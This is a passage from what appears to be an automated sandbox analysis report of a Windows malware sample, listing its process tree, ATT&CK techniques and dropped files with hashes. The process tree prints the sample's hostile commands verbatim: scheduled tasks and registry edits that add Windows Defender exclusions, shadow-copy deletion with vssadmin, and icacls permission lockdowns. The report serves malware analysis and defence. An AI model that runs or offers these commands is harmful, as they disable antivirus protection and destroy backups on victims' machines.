    PID:4440
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1552
- C:\Program Files (x86)\y0aiIa\fPdgx4.exe
  "C:\Program Files (x86)\y0aiIa\fPdgx4.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:6120
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5612
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5972
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5432
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2628
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\fPdgx4.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3080
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4540
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5040
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\y0aiIa\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5860

C:\Users\Public\XCMGmj\tBcNN7.exe
"C:\Users\Public\XCMGmj\tBcNN7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3388

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XCMGmj" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5536
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XCMGmj" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:912

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1964

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5668
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4804

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2764

C:\Program Files (x86)\y0aiIa\fPdgx4.exe
"C:\Program Files (x86)\y0aiIa\fPdgx4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3296

C:\Program Files (x86)\10Nc1\mlb118.exe
"C:\Program Files (x86)\10Nc1\mlb118.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3844

C:\Program Files (x86)\y0aiIa\fPdgx4.exe
"C:\Program Files (x86)\y0aiIa\fPdgx4.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2440

C:\Program Files (x86)\10Nc1\mlb118.exe
"C:\Program Files (x86)\10Nc1\mlb118.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1376

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\10Nc1\XPSPLOG.dll
Size 4.6MB
SHA256 16a6f1d20c7b939d2bd09fb517f443a14839364afe2402dece73f5b60d928125
MD5 2f1579d358137d99736e696d5adaaea2
SHA1 a7ddcacc84d471e3785b7e490d7eacb9e0239e19
SHA512 c9fa3765a7dff75da8aa91968ffd5801f71fb3cb3c7d61263dd896a793d40d76c6b7947b19a7acefd4b39079261c518f194e4e106a9c4c14990ee738c683686f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy6:BMWKfU+BcUTHCCCfqCiUffn6
TLSH
T13D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\10Nc1\image.png
Size 4.8MB
SHA256 3026fb6f65dac498e29e06cdaa3ffa3ef3f66dae45c1b6d8de2907ff4a93bea7
MD5 9e527303e2473b4095442260ed8a2f29
SHA1 da96ae84bd8fd4b5edcf20f8d68b966cb2445e08
SHA512 7c159a31971da95108c20a0615e13f3a0c7cc4b062634bd295fe3c37cd7e41e8dd0b96b0f2999769d599b18f3f6c8ce06f28f346ac285981c380fb32f02d01e0
SSDEEP 98304:6/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:6MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T12536334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\y0aiIa\XPSPLOG.dll
Size 4.6MB
SHA256 1b8f60cc15a31319ad0bd3bfe70a950890e17132a4dfa9bf1204511727897fcc
MD5 ef00acb42e973f092c0dacc3a48654b6
SHA1 7f67f2fdfb2cbe47539a2cb7502388530db955a0
SHA512 3607d68db5108da93acc464d91befdc782580f6b2204526cc17f342d942c21cccc808261485e6dcb6dfd0c228f9498217590479efbf3bacbcb00e4366439a2cb
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmys:BMWKfU+BcUTHCCCfqCiUffns
TLSH
T1E9263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fPdgx4.exe

Path C:\Program Files (x86)\y0aiIa\fPdgx4.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\y0aiIa\image.png
Size 4.8MB
SHA256 46e7996913af1912b4b08b7321080d7f95ec3b4243b5d4e1ab0b78473071747b
MD5 84bc33846df90ee526dba126eab8c1e8
SHA1 1c2432e56408ea7bd01fb420959935907da87a79
SHA512 684067386bd90498689a7fcfffc188f2aaabfdc879bc97bd6c85611d8fcfcbb5b17fc21da07dd052a6a71b1297db3c8beb0e44bd6f7970319952e91634c25d28
SSDEEP 98304:Q/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:QMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1D736334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\y0aiIa\thumbs.db
Size 358KB
SHA256 788c976fefa2ee15360aad20620718474f4ae16a9df8956906aef36a66ebbf10
MD5 a1b87f8a01bea39b313bb446867b5f02
SHA1 aa71e4220b06c1950ac05d1ca995c0d1cef9e42e
SHA512 9de9cffda08b5b523cfce36a5450a3e2b1e12b1992d1ad1f3ac1e32a401088a38acb45df24aa90c635374f1ad83803b39e63e18ab945edf8f337813624bc8e34
SSDEEP 6144:wiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:38u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10074F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 4f664d167976340ed3af13c1f40ea848cdf243915a340c7fd1786c2923c2b862
MD5 e56aac86c9faf3d2ccca9f26e2e1b89d
SHA1 90ca2f220de19c37e2e0a0ca9a094d511cde7dbd
SHA512 91cc1fb9492252f53f99a2b85fb1f1933aed1b35536a182beb3fc156e6d584e8aa5b9d007f74ea5d2a8b3d993e4ea887ec4f8855fe211d233cf95d20ad8027a0
TLSH
T10531C6BB6FB87CC28F278D9014CFE13519F0E2D09DC9048B2115C1A89E483B29F5D90D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 be5c017a68de7a5f9457206323ec7e65943e741b006b7ff4dea0b01553bb31c7
MD5 99b9dac7f3efc6ab19ac0f6a7949b2b9
SHA1 107e2ad96af919a450536e7e0daa9c5766925126
SHA512 b62dafd5b13b3f684f38f78d804cd93ebd9a40541d77afb208d759a3b3e3f8ffae63f172983d5922b4a14072148506d85f56d1b71ea39d70b8961d6cb1530c11
TLSH
T1E431F88289B940429B081F3423D9D13FADF5A268CCD80816242EC1AF8619F734F45402
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 0df12896395bcbf2cf0cc9250c2cae6f66b080904c8de6061ae07040c1059244
MD5 8473e2f8bb2a4a5c80e4c25ec217726d
SHA1 9279de06fb61cba67e073334f646bc25bde220fb
SHA512 55dbda6d6b2a51eb26c7b2c47b489ea2096bd1dc67680af8e7cd041f80e2edb16818cf7005b28b192cb7a5faf1a9d3a41fba80c377bd9a602058d08c1d57b533
TLSH
T1BFF0DC0C08F8423EF173DD388ACA389B0EBBF6051401419402F48708AD12F053C115BA
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 6feb5eb697d465b5fae6c7b98c7fc3b1b4aed5cb6772dc4957647298e1c624f4
MD5 89c5c44a0c6930928140159ad5184a0b
SHA1 151f8ed588c4371cc24e5c6311c4ff0734044b8b
SHA512 4deb7119cbd3d4e312ace2ee68436b729e98faf32894cc6dd20a71941b58e43fac8fa6a4b9eb2dd312558224700512f47cb5883814e6dc89a6e8f981409a216a
TLSH
T1B0F0DC385ADA502BF27BD2BC67C63672E926E122140652AB1AEA0358AA40A415C8123C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5atwqx52.b1v.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5atwqx52.b1v.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\XCMGmj\UxEnhance64.dll
Size 3.1MB
SHA256 2d62cfd240a895cf8b1f1a0fa8025b3dc95dc92c0a8a635128082bd447aa3dc3
MD5 9f5af08b0d08826ac8deb882c12f58cb
SHA1 e4591d08166737044b0260ddd07b737e1d9d7cfd
SHA512 684fa9cbda5b464415cf8e0402fac9c0593424f9919848d5958765eae72ff4246d3383ea313e777220385163a2b6afab18580fdda70cdc163a0b1e52fd5f1085
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+V:P9m29xx3Tiqt06ox6+z2rNNrKoV
TLSH
T170E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\XCMGmj\adoresd.dat
Size 4.8MB
SHA256 638449722edc270c5f90c7f5af5df34fb66413fc2c91dddf42b5f530fcb456d5
MD5 3106c9e974de14fd8e783114a4d4efab
SHA1 8f69acf866893a631cb50102d5e0404dbe397362
SHA512 c298cc0e85358c825ada83aa9192b97437e0e3875559732e9fc1c2dffc10eaf2d419ed2571c8589fbb27eab510ddc98546987d4fb6f0320b5b8981679342590e
SSDEEP 98304:7Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:7Wj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1213633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\XCMGmj\msadox.tb
Size 8KB
SHA256 e31c3c457c93e1066a5fc2f10f5dbda0e97076a921bbd01597db2278283dd890
MD5 5f4cc9f0f2060a068610bda061344c04
SHA1 29c4f6c657b120e004c2a19f6a86f1a668cfc431
SHA512 1098036e7ac4ff9c0754b0be8b0b8442f3dd29d89de841c90dbdff2b569fb09606d1c2410db2948fab030aed748f6802068d657af7b18a4fd28fbc24199b80fa
SSDEEP 192:+qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:+sZqZOXQ3uqvR2Kfzp
TLSH
T1AE029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tBcNN7.exe

Path C:\Users\Public\XCMGmj\tBcNN7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/620-606-0x0000022C66810000-0x0000022C6681A000-memory.dmp

Download

memory/620-604-0x0000022C66AD0000-0x0000022C66B82000-memory.dmp

Download

memory/620-603-0x0000022C66820000-0x0000022C6683E000-memory.dmp

Download

memory/620-600-0x0000022C667D0000-0x0000022C667F2000-memory.dmp

Download

memory/1376-765-0x0000000000D00000-0x0000000000D01000-memory.dmp

Download

memory/1376-766-0x0000000073A20000-0x000000007416A000-memory.dmp

Download

memory/1376-769-0x0000000003560000-0x0000000003D3D000-memory.dmp

Download

memory/1376-775-0x0000000000D70000-0x0000000000D71000-memory.dmp

Download

memory/1376-776-0x0000000003560000-0x0000000003D3D000-memory.dmp

Download

memory/1376-780-0x0000000000D00000-0x0000000000D01000-memory.dmp

Download

memory/2032-560-0x000001C4CD4A0000-0x000001C4CD52A000-memory.dmp

Download

memory/2032-539-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-531-0x00007FFBF44C0000-0x00007FFBF49DE000-memory.dmp

Download

memory/2032-536-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-564-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-556-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-558-0x000001C4CD050000-0x000001C4CD09E000-memory.dmp

Download

memory/2032-559-0x000001C4CD4A0000-0x000001C4CD52A000-memory.dmp

Download

memory/2032-538-0x00007FFC16DC0000-0x00007FFC16DC2000-memory.dmp

Download

memory/2032-566-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-530-0x00007FFC16DB0000-0x00007FFC16DB2000-memory.dmp

Download

memory/2032-544-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-543-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-545-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

memory/2032-546-0x000001C4CC770000-0x000001C4CD047000-memory.dmp

Download

